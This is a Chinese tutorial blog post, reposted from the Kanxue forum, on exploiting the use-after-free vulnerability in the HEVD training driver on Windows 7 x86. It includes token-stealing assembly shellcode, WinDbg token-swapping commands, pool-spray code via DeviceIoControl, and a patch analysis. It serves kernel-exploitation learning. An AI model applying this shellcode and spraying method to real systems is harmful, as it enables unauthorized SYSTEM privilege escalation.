Windows 内核系列一: UAF基础

0x00: 前言

这是UAF系列的第一篇, 三篇的主要内容如下:

[+] 第一篇: HEVD给的样例熟悉UAF

[+] 第二篇: CVE-2016-0213的总结

[+] 第三篇: windows10X64下的UAF

关于第三篇的内容我还没有决定好,最近在研究CVE-2018-8410,如果分析的出来的话, 第三篇的内容我会给出CVE-2018-8410的分析报告;如果失败的话,我会挑选一下windows 10下的X64的UAF进行分析。由于win10加了很多缓解措施,所以那会是一个相当有趣的过程。

博客的内容我是倒着推的,因为我喜欢有目的性的工作,所以决定在最后再进行漏洞原理的分析,而原理的探讨主要是通过对补丁的探讨而完成。在学习的过程中, 我给出了实验相应步骤的动态图, 希望能对您有所帮助。


0x01: 实验环境的搭建

由于是系列的第一节,所以讲一下环境的搭建,在经过漫长的犹豫之后,我决定把环境的搭建制作成为一个gif图,因为觉得动态的过程更容易理解一些。

Tips:本次环境的搭建环境. 仅在win7上面适用. win10(win8以后) 下因为驱动签名的问题会有一些小小的不同, 后面会给出win10的教程.

(此处为动图,由于文件过大,无法上传,可点击阅读原文前往原文查看)

下面是对环境搭建步骤详解。

1.1 环境要求

[+] 配置支持

调试宿主机: windows10X64

目标机子: windows7sp1 x86

调试器: windbgx.exe

辅助工具: virtuakD

1.2 第一步

把virtualKD解压到宿主调试机C:\SoftWare,将宿主机C:/software/target目录复制到target机子C:\下,最终结果如下。

1.3 第二步

打开target机器下的C:\target\vminstall.exe 点击yes, 电脑重启。

1.4 第三步

设置Vmcommon的调试器路径

1.5 第四步

开始调试。


0x02: 漏洞利用

2.1 思路详解

在我自己的学习过程中,我喜欢把自己学的东西切成几大块, 假设为ABCD四个大块,在B无法理解的情况下,我能够去弄明白ACD就好。这样即使无法完成此次学习,我也能保证能在此次的学习过程中得到有用的技能。

让我们来假设一下作为一个对UAF不理解的小白,我们会把漏洞的利用过程切为哪几个部分。

[+]编写shellcode(最终目的是为了运行shellcode)

[+]分析漏洞

[+]根据漏洞原理, 伪造能够利用的数据(最终的结果是可以利用shellcode).

[+]触发漏洞

[+]运行cmd, 验证提权是否成功.

在进行上面的分析之后,我们可以先做一些比较轻松的部分。

[+]运行cmd进行验证.

[+]编写Shellcode

2.2 运行cmd进行验证

我相信有部分开始做内核的朋友可能会比较好奇为什么最后运行cmd, 输入whoami之后,就能证明自己提权成功了,很不幸的,这是一段漫长的故事.。

其实也还是很简单的,原理如下:

[+]我们运行了exp,exp记作进程A

[+]EXP里面创建一个cmd子进程, 记作子进程B

[+]子进程会默认继承父进程的权限

[+]父进程提权成功, 可以在子进程体现.(类似于老子帅不帅可以从儿子那里得到相应的推测)

2.2.1 编写创建cmd子进程程序.

这一部分的代码感谢小刀师傅,来源于他的博客和github。在他的博客和github上面我学习到了很多的有用的东西。

//创建cmd子进程的代码.

static

VOID xxCreateCmdLineProcess(VOID)

{

STARTUPINFO si = {sizeof(si) };

PROCESS_INFORMATION pi = {0};

si.dwFlags = STARTF_USESHOWWINDOW;

si.wShowWindow = SW_SHOW;

WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe"};

BOOLbReturn = CreateProcessW(NULL, wzFilePath,NULL,NULL,FALSE, CREATE_NEW_CONSOLE,NULL,NULL, (LPSTARTUPINFOW)&si, &pi);// 创建cmd子进程

if(bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);

}

很多时候,我觉得有些细节其实是可以不用太在意的。你可以把它当作拖油瓶,只是附带的产物。比如上面的si的赋值之类的,让我们关注一下重点函数。

2.2.2 CreateProcessW函数

CreateProcessW创建一个子进程,在MSDN上面你可以的到详细的解释,我们列出重要参数的详细解释:

[+]wzFilePath --> 创建的进程名称, cmd

2.2.2 调用cmd子进程

我们在main函数当中进行调用,main函数现在的代码如下:

// main函数的代码.

intmain()

{

xxCreateCmdLineProcess();//调用cmd

return0;

}

2.2.3 运行的结果

运行的结果如下图:


我们发现我们现在的提权没有成功,这是肯定的,因为我们并没有进行漏洞的利用。

2.3 编写shellcode的代码

作为一个有灵魂的内核选手,这个地方的shellcode我们当然采用汇编编写。 编写之前,我们继续对我们所学的东西进行分块。

[+] ShellCode目的: 进行提权

[+] 提权手段: 将system进程的Token赋值给cmd

[+] 提权的汇编步骤:

==> 找到system的Token, 记作TokenSys

==> 找到cmd的Token. 记作TokenCmd

==> 实现TokenCmd = TokenSys

2.3.1 ShellCode提权方法的验证

okok,作为一个内核选手,我们深知调试器永远不会骗人,所以我们可以通过调试器来帮助我们验证一下我们的思路是否正确。

2.3.1.0 找到System进程的TokenSys

运行如下命令:

!dml_proc

我们能得到关于system如下的结果:

kd> !dml_proc

Address  PID  Imagefilename

857bd9204System

86357a10120smss.exe

86385030178csrss.exe

86be3b901ac  wininit.exe

863e4b681b4  csrss.exe

873f1d401d8  winlogon.exe

...

解释:

PID:0004--> system在win7下PID永远为4

PROCESS: 857bd920-- 进程起始的地址.

接着我们运行如下的命令,查看system进程的Token。

kd> dt nt!_EX_FAST_REF857bd920 +f8

+0x000Object           :0x8940126fVoid

+0x000RefCnt           :0y111

+0x000Value            :0x8940126f-- value是Token的值.

2.3.1.1 找到cmd进程的TokenCmd

与找到TokenSys的方法类似,在虚拟机里面运行一个cmd。我们可以通过相同的方式找到TokenCmd:

kd> dt nt!_EX_FAST_REF 871db030 +f8

+0x000 Object           : 0x967ee085 Void

+0x000 RefCnt           : 0y101

+0x000 Value            : 0x967ee085 -- value是Token的值.

2.3.1.2 进行TokenCmd = TokenSys.

这一部分,我们采用调试器辅助完成。Token存放在进程偏移f8处,我们可以把TokenCmd按照如下的命令重新赋值:

ed871db030+f8(TokenCmd的存放地址)8940126f(TokenSys)

此时我们再对cmd的Token进行解析,发现Token的值已经和Sytem的Token出奇一致:

kd> dt nt!_EX_FAST_REF871db030 +f8

+0x000Object           :0x8940126fVoid

+0x000RefCnt           :0y111

+0x000Value            :0x8940126f

此时我们运行cmd的whoami, 进行验证. 这个实验过程动态图如下:

(此处为2.3.1动图,由于文件过大,无法上传,可点击阅读原文前往原文查看)

2.3.2 提权的汇编实现

汇编实现的整体代码如下,关键点我会给出注释,如果你需要更详细的解释, 你可以在这里找到答案。(Tips: 汇编代码只是对我们上面手工做的过程的一次模仿,别畏惧它)

// 提权的汇编代码.

voidShellCode()

{

_asm

{

nop

nop

nop

nop

pushad

moveax,fs:[124h]

moveax,[eax + 0x50]// 找到_EPROOCESS

movecx,eax

movedx,4// edx = system PID

// 循环是为了获取system的_EPROCESS

find_sys_pid:

moveax,[eax + 0xb8]

subeax,0xb8// 链表遍历

cmp[eax + 0xb4],edx// 根据PID判断是否为SYSTEM

jnzfind_sys_pid

// 替换Token

movedx,[eax + 0xf8]

mov[ecx + 0xf8],edx

popad

ret

}

}

一点小Tips:

[+]ShellCode的原理其实不用太了解,大多数时候你可以把它当作stdio.h提供给你的printf函数,直接用就好

[+]堆栈的平衡建议采用调试解决。

2.3.3 ShellCode的有效性的验证

调试器无所不能(但是不能帮我找到女朋友...),我们想要运行shellcode,如何运行???

在阅读了源码之后,我们发现了一个幸福的代码片段:

if(g_UseAfterFreeObject->Callback) {

g_UseAfterFreeObject->Callback();

}

g_UseAfterFreeObject是一个全局变量,他的定义如下:

PUSE_AFTER_FREE g_UseAfterFreeObject =NULL;

typedefstruct_USE_AFTER_FREE{

FunctionPointer Callback;

CHAR Buffer[0x54];

} USE_AFTER_FREE, *PUSE_AFTER_FREE;

有趣,如果我们能够篡改他的函数指针指向ShellCode地址,那么我们就能在内核当中调用我们的shellcode。接下来做一个小小的演示:


Tips:

这一部分有些小小的东西需要后面的东西. 请关注篡改函数指针. 其他的内容不会的假装自己会, 看了后面的再来理解前面的.

在未篡改之前,g_UseAfterFreeObject的结构长这样:

dt HEVD!g_UseAfterFreeObject

0x877deb58

+0x000Callback         :0x87815558void  +ffffffff87815558

+0x004Buffer           : [84]

在进行了一堆骚操作之后(我们后面的主要内容就是为了讲解这个地方的骚操作),g_UseAfterFreeObject的结构长这样:

dt HEVD!g_UseAfterFreeObject

0x877deb58

+0x000Callback         :0x001f1000     void  UAF_AFTER_FREE_EXP!ShellCode+0

+0x004Buffer           : [84]"

这样的话, 我们就能够运行shellcode了, 提权成功如图:

2.4 执行一堆骚操作

我们前面说过,后面的内容主要是一堆骚操作。来执行替换g_UseAfterFree函数指针的功能。

2.4.1 伪造能够利用的数据

USE AFTER FREE,从这个名字来看是指在FREE状态后依然能够被使用,有趣有趣,那我们来关注一下FREE状态之后如何使用。

在我们从小到大的过程中,我们知道POOL是动态分配的,就像你永远不知道明天的巧克力是什么味道一样(当然作为一个单身狗,明天也是没有巧克力的,太凄凉了)。你永远也不知道下一块分配的POOL在那个位置。

Wait,我们真的不知道吗??? 如果你有兴趣你可以在此处的paper找到相应的POOL分配和释放算法的相关解释,在这里我直接给出结论。

[+]假设想要被分配的堆的大小是258. 操作系统会去选取最适合258(>=)的空闲堆位置来存放他.

我们来看一下我们的UAF(假设已经成功)POOL的大小,我们申请一个和他一模一样的堆,是不是有一定的概率使我们分配后的堆的刚好是这个地方呢,答案是肯定的。

但是有一个问题,一定的概率,我们希望我们的利用代码能够更加的稳定,假设此时操作一共有X个大小的空闲区域,我们的概率是1/X,分配两个是2/X,不断增加。

[+] n/X-- n是我们请求分配的POOL个数.

最终我们的代码如下:

// 构造美好的数据

PUSEAFTERFREE fakeG_UseAfterFree = (PUSEAFTERFREE)malloc(sizeof(FAKEUSEAFTERFREE));

fakeG_UseAfterFree->countinter = ShellCode;

RtlFillMemory(fakeG_UseAfterFree->bufffer,sizeof(fakeG_UseAfterFree->bufffer),'A');

// 喷射

for(inti =0; i <5000; i++)

{

// 此处的函数用于Pool的分配.

DeviceIoControl(hDevice,0x22201F, fakeG_UseAfterFree,0x60,NULL,0, &recvBuf,NULL);

}

2.4.2 漏洞成因分析(为什么在那个时候我们处于Free状态)

我们到这里其实利用就已经做完了,但是永远别忘记一件事,这只是一个练习,与真正的漏洞分析差的远。所以我们学的应该不是教程,而是这一段在实践当中可以帮助我们做些什么。


漏洞成因的分析在我实践的过程中,有两种手段:

[+]查阅漏洞发现者的给出的相关资料

[+]查阅其他人做的分析笔记

[+]阅读POC

[+]补丁比对

这个地方我们来模拟补丁比对, 实战当中你可以使用bindiff,为了让接下来的过程更加的简单,我们采用源码分析。

#ifdefSECURE

// SecureNote:This is secure because the developer is setting

// 'g_UseAfterFreeObject' to NULL once the Pool chunk is being freed

ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);

g_UseAfterFreeObject =NULL;

#else

// VulnerabilityNote:This is a vanilla Use After Free vulnerability

// because the developer is not setting 'g_UseAfterFreeObject' to NULL.

// Hence, g_UseAfterFreeObject still holds the reference to stale pointer

// (dangling pointer)

ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);

#endif

在这个地方, 安全与不安全的主要理由是g_UseAfterFreeObject最后是否为NULL。

漏洞点: 如果不把它变为NULL, 后续可以继续应用.

这个地方有一个小小的问题,在下一节我们给出我们的套路。


0x3 总结.

3.1 补丁的探讨

我们来对安全的版本进行一点小小的讨论:

[+] g_UseAfterFreeObject =NULL

[+]if(g_UseAfterFreeObject->CallBack) ==>if(NULL->CallBack) ==>if(0->CallBack)

随着思路的推理,我们的嘴角逐渐浮现出笑容, windows 7 下, 我们可以对申请0地址,并且填充相应的内容。假设shellcode地址为0x00410000,我们通过对0地址进行填充内容。

00000000: 00410000--> 指向shellcode地址

我们也能顺利执行我们的shellcode. ==> 此处引发了一个空指针解引用漏洞。

OK, 我们验证了这是一个不安全的补丁,更安全的补丁应该类似于这样:

if(g_UseAfterFreeObject !=NULL)

{

if(g_UseAfterFreeObject->CallBack)

{

g_UseAfterFreeObject->CallBack();

}

}

很遗憾的,当我发现这个的时候,发现创作者已经做了这样一个检测......

3.2 关于挖洞的探讨

在进行这次学习之后,我有一个小小的猜测,是否存在可能性,安全人员在进行uaf漏洞补丁的时候,忽视了空指针解引用呢。

自己思考的比较简陋的方式:

[+] 补充最新的补丁.

[+] 阅读更新报告, 确定漏洞集

[+] 编写IDAPy, 完成如下的功能.

==> 检索汇编代码. 确定搜选补丁函数当中的CMP个数.(如果小于2, 可以做重点分析)

==> 检索汇编代码, 确定相邻8byte-16byte范围(这个范围需要具体研究.). 是否同时存在两个CMP

3.3 UAF漏洞利用的套路总结

[+]原理: 分配的POOL为赋值为NULL, 导致后面可用.

[+]触发漏洞

[+]伪造数据(依赖于伪造数据实现shellcode运行)

[+]调用相关的函数进行堆喷射

[+]CMD验证



0x4 相关链接

sakura师傅的博客: http://eternalsakura13.com/

小刀师傅的博客:https://xiaodaozhi.com/

本文EXP地址:https://github.com/redogwu(后面更新... 嘤嘤嘤)

一个大大的博客:https://rootkits.xyz/

shellcode编写:https://hshrzd.wordpress.com/2017/06/22/starting-with-windows-kernel-exploitation-part-3-stealing-the-access-token/


原文作者:wjllz

原文链接:https://bbs.pediy.com/thread-247019.htm

转载请注明:转自看雪学院


更多阅读:

1、[原创]关于android 微信 frida 使用技巧

2、[原创]Hook原理

3、[翻译]一次红队之旅

4、[原创]逆向及修复最新iOS版少数派客户端的闪退 bug

5、[原创]逆向分析及修复稀土掘金iOS版客户端闪退 bug

推荐阅读更多精彩内容